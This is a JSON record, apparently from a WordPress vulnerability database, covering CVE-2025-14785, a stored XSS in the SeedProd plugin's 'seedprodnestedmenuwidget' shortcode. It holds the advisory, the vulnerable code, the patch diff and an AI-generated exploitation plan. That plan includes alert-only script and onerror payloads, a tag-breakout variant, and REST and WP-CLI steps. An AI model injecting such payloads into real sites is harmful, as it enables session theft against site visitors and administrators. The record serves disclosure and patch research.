[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fzfmrgjUt999HDVmgWAnqeu-LRBwwHVdBpNwXRZ3PTVY":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":40},"CVE-2025-14785","website-builder-by-seedprod-theme-builder-landing-page-builder-coming-soon-page-maintenance-mode-authenticated-contribut","Website Builder by SeedProd - Theme Builder, Landing Page Builder, Coming Soon Page, Maintenance Mode \u003C= 6.20.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'seedprodnestedmenuwidget' Shortcode","The Website Builder by SeedProd - Theme Builder, Landing Page Builder, Coming Soon Page, Maintenance Mode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `seedprodnestedmenuwidget` shortcode in all versions up to, and including, 6.20.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","coming-soon",null,"\u003C=6.20.2","6.20.3","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-07 23:10:49","2026-07-08 11:30:34",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fba751f98-f86c-451b-8a12-a2e9e76768e5?source=api-prod",1,[22,23,24,25,26,27,28],"README.txt","admin\u002Fclass-seedprod-admin.php","admin\u002Fpartials\u002Fseedprod-admin-subscribers.php","app\u002Fbackwards\u002Fbackwards_compatibility.php","app\u002Ffunctions-utils.php","app\u002Flpage.php","app\u002Fnestednavmenu.php","researched",false,3,"# Exploitation Research Plan - CVE-2025-14785\n\n## 1. Vulnerability Summary\nThe **Website Builder by SeedProd** plugin (\u003C= 6.20.2) is vulnerable to **Authenticated (Contributor+) Stored Cross-Site Scripting (XSS)** via the `seedprodnestedmenuwidget` shortcode. The vulnerability exists because the plugin fails to sanitize or escape the `menudivider` attribute before echoing it into the page content within a custom Menu Walker class. This allows an attacker with the ability to use shortcodes (Contributor level and above) to inject malicious JavaScript that executes when any user views the affected page.\n\n## 2. Attack Vector Analysis\n- **Vulnerable Shortcode:** `[seedprodnestedmenuwidget]`\n- **Vulnerable Attribute:** `menudivider`\n- **Authentication Requirement:** Contributor level or higher (any role capable of creating\u002Fediting posts and using shortcodes).\n- **Precondition:** At least one WordPress Navigation Menu must exist, and the shortcode must reference it via the `menu` attribute for the Walker class to be invoked.\n\n## 3. Code Flow\n1. **Entry Point:** The shortcode is registered in `app\u002Fnestednavmenu.php`:\n   ```php\n   add_shortcode( 'seedprodnestedmenuwidget', 'seedprod_lite_wordpress_menuwidget' );\n   ```\n2. **Processing:** The callback `seedprod_lite_wordpress_menuwidget($atts)` (in `app\u002Fnestednavmenu.php`) parses attributes:\n   ```php\n   $menu_atts = shortcode_atts(\n       array(\n           'menu'        => '',\n           'menudivider' => '',\n           'layout'      => 'h',\n       ),\n       $atts\n   );\n   ```\n3. **Sink Preparation:** If `menudivider` is provided and `layout` is not 'v' (vertical), a new `SeedProd_Lite_Menu_Walker` is instantiated with the raw `$navmenu_seperator` (the `menudivider` attribute):\n   ```php\n   if ( true === $walker_divider ) {\n       $args = array(\n           'menu'            => $navmenu_name,\n           ...\n           'walker'          => new SeedProd_Lite_Menu_Walker( $navmenu_seperator ),\n       );\n   }\n   ```\n4. **The Sink:** Inside the `SeedProd_Lite_Menu_Walker` class in `app\u002Fnestednavmenu.php`, the `end_el` method appends the separator directly to the `$output` string without any escaping:\n   ```php\n   public function end_el( &$output, $item, $depth = 0, $args = array() ) {\n       $output .= '\u003C\u002Fli>';\n       if ( 0 === $depth ) {\n           if ( '' !== $this->separators ) {\n               $output .= \"\u003Cli class='separator menu-item'>\" . $this->separators . '\u003C\u002Fli>';\n           }\n       }\n   }\n   ```\n\n## 4. Nonce Acquisition Strategy\nThis vulnerability is exploited by saving a post containing a shortcode. In standard WordPress environments:\n- **Authenticated (Contributor+):** No specific plugin-level nonce is required to save a post via the Gutenberg or Classic editor. The standard WordPress `_wpnonce` used in the post editor is sufficient.\n- **Unauthenticated:** Since this is a \"Contributor+\" vulnerability, unauthenticated exploitation is not directly supported by the shortcode path unless the plugin exposes an unauthenticated AJAX\u002FREST endpoint that processes shortcodes (none identified in the provided source).\n\n**For the Automated Agent:** \n1. Log in as a Contributor.\n2. The standard post creation flow handles nonces internally.\n\n## 5. Exploitation Strategy\nThe goal is to create a post containing the malicious shortcode and verify that the payload executes.\n\n### Step 1: Create a Navigation Menu (via WP-CLI)\nA menu must exist for the shortcode to render items and trigger the Walker's `end_el` method.\n```bash\nwp menu create \"ExploitMenu\"\nwp menu item add-custom \"ExploitMenu\" \"Home\" \"http:\u002F\u002Flocalhost\u002F\"\n```\n\n### Step 2: Create a Contributor User\n```bash\nwp user create attacker attacker@example.com --role=contributor --user_pass=password123\n```\n\n### Step 3: Inject the Payload\nAs the `attacker` user, create a post with the following shortcode payload:\n**Payload:** `[seedprodnestedmenuwidget menu=\"ExploitMenu\" menudivider='\u003Cscript>alert(document.domain)\u003C\u002Fscript>']`\n\n**HTTP Request (as Contributor):**\nUse `http_request` to submit a post.\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts` (or via standard `post-new.php` form).\n- **Method:** `POST`\n- **Body:**\n  ```json\n  {\n    \"title\": \"Vulnerable Page\",\n    \"content\": \"[seedprodnestedmenuwidget menu=\\\"ExploitMenu\\\" menudivider=\\\"\u003Cscript>alert(document.domain)\u003C\u002Fscript>\\\"]\",\n    \"status\": \"publish\"\n  }\n  ```\n*Note: Contributors can usually only set status to `pending`, which is sufficient for an Admin to view and trigger the XSS.*\n\n### Step 4: Trigger the XSS\nNavigate to the newly created post URL as any user (e.g., Admin).\n\n## 6. Test Data Setup\n1. **Menu:** \"ExploitMenu\" with at least one item.\n2. **User:** \"attacker\" with `contributor` role.\n3. **Post:** A post\u002Fpage containing: `[seedprodnestedmenuwidget menu=\"ExploitMenu\" menudivider='\u003Cimg src=x onerror=alert(1)>']`.\n\n## 7. Expected Results\nWhen the page is rendered, the HTML source should contain:\n```html\n\u003Cli class='separator menu-item'>\u003Cscript>alert(document.domain)\u003C\u002Fscript>\u003C\u002Fli>\n```\nA JavaScript alert box showing the domain will appear in the browser.\n\n## 8. Verification Steps\n1. **Check Post Content:**\n   ```bash\n   wp post list --post_type=post --format=csv | grep \"Vulnerable Page\"\n   ```\n2. **Verify Output via `http_request`:**\n   Fetch the frontend URL of the post and search for the raw payload string `\u003Cscript>alert(document.domain)\u003C\u002Fscript>`.\n\n## 9. Alternative Approaches\nIf the standard `menudivider` attribute is filtered by WordPress core's shortcode parser (unlikely), try breaking out of the `\u003Cli>` tag:\n- **Payload 2:** `[seedprodnestedmenuwidget menu=\"ExploitMenu\" menudivider='\u003C\u002Fli>\u003C\u002Ful>\u003Cscript>alert(1)\u003C\u002Fscript>\u003Cul>\u003Cli>']`\n- **Payload 3 (Event Handler):** `[seedprodnestedmenuwidget menu=\"ExploitMenu\" menudivider='\u003Cimg src=x onerror=alert(1)>']`\n\nIf the plugin's \"Theme Builder\" is active, look for AJAX actions like `seedprod_lite_v2_create_template` in `admin\u002Fclass-seedprod-admin.php` which might allow similar injection via page-builder metadata.","The Website Builder by SeedProd plugin (\u003C= 6.20.2) is vulnerable to Stored Cross-Site Scripting via the 'seedprodnestedmenuwidget' shortcode. Authenticated users with Contributor-level permissions and above can inject arbitrary web scripts into pages via the 'menudivider' attribute, which is rendered without proper sanitization or output escaping.","\u002F\u002F app\u002Fnestednavmenu.php line 77\npublic function end_el( &$output, $item, $depth = 0, $args = array() ) {\n\t$output .= '\u003C\u002Fli>';\n\n\tif ( 0 === $depth ) {\n\t\tif ( '' !== $this->separators ) {\n\t\t\t$output .= \"\u003Cli class='separator menu-item'>\" . $this->separators . '\u003C\u002Fli>';\n\t\t}\n\t}\n}\n\n---\n\n\u002F\u002F app\u002Fnestednavmenu.php line 111\n$navmenu_seperator = '';\nif ( isset( $menu_atts['menudivider'] ) ) {\n\t$navmenu_seperator = $menu_atts['menudivider'];\n}","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcoming-soon\u002F6.20.2\u002Fapp\u002Fnestednavmenu.php\t2025-12-18 14:01:54.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcoming-soon\u002F6.20.3\u002Fapp\u002Fnestednavmenu.php\t2026-06-09 12:15:50.000000000 +0000\n@@ -77,7 +77,7 @@\n \n \t\tif ( 0 === $depth ) {\n \t\t\tif ( '' !== $this->separators ) {\n-\t\t\t\t$output .= \"\u003Cli class='separator menu-item'>\" . $this->separators . '\u003C\u002Fli>';\n+\t\t\t\t$output .= \"\u003Cli class='separator menu-item'>\" . esc_html( $this->separators ) . '\u003C\u002Fli>';\n \t\t\t}\n \t\t}\n \t}\n@@ -111,7 +111,7 @@\n \t}\n \t$navmenu_seperator = '';\n \tif ( isset( $menu_atts['menudivider'] ) ) {\n-\t\t$navmenu_seperator = $menu_atts['menudivider'];\n+\t\t$navmenu_seperator = sanitize_text_field( $menu_atts['menudivider'] );\n \t}\n \t$layout = '';\n \tif ( isset( $menu_atts['layout'] ) ) {","1. Authentication: Log in as a user with at least Contributor level permissions (capable of using shortcodes in posts).\n2. Precondition: Ensure at least one WordPress Navigation Menu exists (e.g., 'Primary Menu').\n3. Injection: Create or edit a post and insert the following shortcode: [seedprodnestedmenuwidget menu=\"Primary Menu\" menudivider=\"\u003Cscript>alert(document.domain)\u003C\u002Fscript>\"].\n4. Trigger: Save the post (as a draft or for review). When an Administrator or any other user views the post\u002Fpage on the frontend or in a preview, the script provided in the 'menudivider' attribute will execute in their browser context.","gemini-3-flash-preview","2026-07-25 08:31:34","2026-07-25 08:32:36",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","6.20.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcoming-soon\u002Ftags\u002F6.20.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcoming-soon.6.20.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcoming-soon\u002Ftags\u002F6.20.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcoming-soon.6.20.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcoming-soon\u002Ftags"]